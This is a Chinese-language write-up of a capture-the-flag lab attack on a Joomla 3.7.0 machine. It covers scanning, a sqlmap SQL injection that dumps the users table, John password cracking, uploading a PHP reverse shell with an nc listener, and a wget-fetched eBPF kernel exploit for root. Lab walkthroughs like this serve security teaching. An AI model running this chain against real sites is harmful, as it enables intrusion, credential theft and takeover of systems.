0x01 信息收集
一、IP扫描
arp-scan命令: 是一个用来进行系统发现的ARP命令行扫描工具(可以发现本地网络中的隐藏设备)它可以构造并发送ARP请求到指定的IP地址,并且显示返回的所有响应。 arp-scan 可以显示本地网络中的所有连接设备,即使这些设备有防火墙。防火墙设备可以屏蔽ping,但是并不能屏蔽ARP数据包。
二、端口扫描
nmap -A -p- 192.168.190.139,对目标进行详细扫描收集系统、服务等信息,发现开放80端口,运行在Ubuntu上,依托开源的Joomla模板框架搭建的博客网站
三、查看网站结构
查看到CMS为joomla,这里提到一下三大PHP CMS网站:Drupal、 Wordpress、Joomla.
CMS 的全称是( Content Management System),即内容管理系统,是一种用于创建、编辑、发布和管理网站内容的软件系统。常见的 CMS 可以帮助用户快速搭建网站,并提供强大的内容管理功能。
四、网站目录扫描
dirb http://192.168.190.139,发现后台管理登录界面。Dirb 是一种常用的网站目录扫描工具,支持 HTTP 和 HTTPS 协议,可以用于寻找网站上隐藏的目录和文件。
其中,http://192.168.190.139 是要扫描的目标网站地址,/usr/share/dirb/wordlists/common.txt 是字典文件的路径.
0x02 登陆用户
一、账户名破解
1.1 joomscan获取版本
通过Wappalyzer火狐插件发现了目标网页CMS为 Joomla,使用专门扫它的工具joomscan 来扫描joomla。
kali里面安装joomscan工具的命令是sudo apt-get install joomscan
扫描指令:joomscan --url http://192.168.190.139
,扫描到目标网页 joomla版本为 3.7.0
1.2 漏洞利用
使用searchsploit工具查找Joomla 3.7.0 版本存在的漏洞。
1.3 漏洞查询
使用find指令,查询下该漏洞在本地的绝对路径。 指令:find / -name 42033.txt
1.4查看漏洞使用详细信息
Using sqlmap,告诉了我们这个漏洞的使用方法,让我们用sqlmap这个工具,按他用法中的预定格式去扫描后台的数据库。
1.5sql爆破
sqlmap -u "http://192.168.190.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3(执行测试的风险) --level=5(执行测试的等级)--random-agent --dbs -p list[fullordering] #爆破所有数据库
#-D "joomladb" --tables 指定数据库joomladb爆破其所有表
#-D "joomladb" -T "#__users" --columns 指定joomladb数据库中user表爆破其所有字段
#-D "joomladb" -T "#__users" -C id,nmae,password,username 爆取指定的字段
下面是它的参数解释:
• -u:指定目标URL,这里的URL是 http://192.168.190.139/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml
• --risk:设置攻击风险等级,范围从0到3,默认为1,此处设置为3。
• --level:设置攻击难度等级,范围从1到5,默认为1,此处设置为5。
• --random-agent:发送请求时随机选择一个User-Agent头。这有助于防止服务器检测到我们使用了自动化工具。
• -D:指定要攻击的数据库名,此处指定为“joomladb”。
• -T:指定要攻击的表名,此处指定为“#__users”(注意#号需要转义)。
• -C:指定要获取的列名,此处指定为“name,password”。
• --dump:显示被发现的所有数据,并将其保存在文件中。
• -p: 指定GET或者POST请求参数名,此处指定为"list[fullordering]"
1.5-1 爆破所有数据库
1.5-2 爆破所有表
1.5-3 爆破所有字段
1.5-4 拖库指定的字段
二、密码破解
将得到的密文写入一个新建的文本文档中并保存,使用John工具进行密码破解。
破解得到密码为:snoopy 用户名为:admin
0x03 木马上传
登录进后台以后,寻找存在漏洞的地方,该靶场的漏洞位于Extensions下的Templates界面下存在文件上传漏洞。
选择New File,上传一个PHP反弹shell脚本,这个反弹脚本在kali中自带,位于/usr/share/webshells/php/
目录下,名称为php-reverse-shell.php文件。
修改监听地址为kali的IP地址和端口号自定义(不要冲突)以后,保存上传。
通过提示可以发现,我们的脚本上传到了templates/beez3下了,kali端开启监听nc -lvvp 6666,浏览器访问192.168.190.139/templates/beez3/shell.php,等待反弹shell。
反弹成功以后,开启shell交互,python3 -c “import pty;pty.spawn(‘/bin/bash’)”
0x04 提权
一、提权脚本下载到本地
复制漏洞信息到本地。
二、上传提权脚本
因为要执行脚本进行提权操作,所以应该把脚本上传到一个操作权限比较高的文件夹下,这里将脚本上传至/tmp文件夹下,这是一个临时文件夹,对这个文件夹的可操作权限比较高。这里使用的是wget指令上传。
三、开始提权
1.解压文件39722.zip,并进入39722目录下。
2.解压该目录下的exploit.tar包,指令:tar -xf exploit.tar -x:解压缩,-f:接目标文件
3.cd ebpf_mapfd_doubleput_exploit
,进入到该目录下,查看该目录下有一个compile.sh文件。
4.执行该文件。指令:./doubleput,等待执行成功以后,再次查看用户id发现已经是root权限。
5.切换到/root目录下,发现the_flag.txt。到此结束
0x05 总结
1.joomscan
这个工具是专门针对CMS为Joomla的网站所开发的扫描工具,kali里面安装joomscan工具的命令是sudo apt-get install joomscan
扫描指令:joomscan --url http://192.168.190.139 ,当然他有很多参数可以使用,比如可以自定义字典等。却有需求的大佬可以自行搜索该工具的具体用法。
2.sqlmap
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2、SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。
常用命令及参数:
-h help #查看帮助手册
-u "url" #检测注入点
--dbs #列出所有数据库的名称
--current-db #列出当前数据库的名称
-D #指定一个数据库
--table #列出所有表名
-T #指定表名
--columns #列出所有字段名
-C #指定字段
--dump #列出字段内容
3.生成shell反弹脚本
在kali的/usr/share/webshells/目录下有各种已生成的反弹脚本类型。
4.通过URL来初步分析后台
通常网站的首页文件名为index.xxx
扩展名表示的是当前首页文件为何种语言编写
开发语言 | 操作系统 | 网站环境 | 数据库环境 | |
---|---|---|---|---|
index.php | php | win/linux | apache | mysql |
index.jsp | java | linux | tomcat | oracle |
index.asp | asp.net | win | iis | sqlserver |
index.html 表示使用超文本标签语言编写,一般为静态站初步判断网站使用何种操作系统可以使用ping命令,
看返回信息的TTL值,64为Linux ,128以上为Windows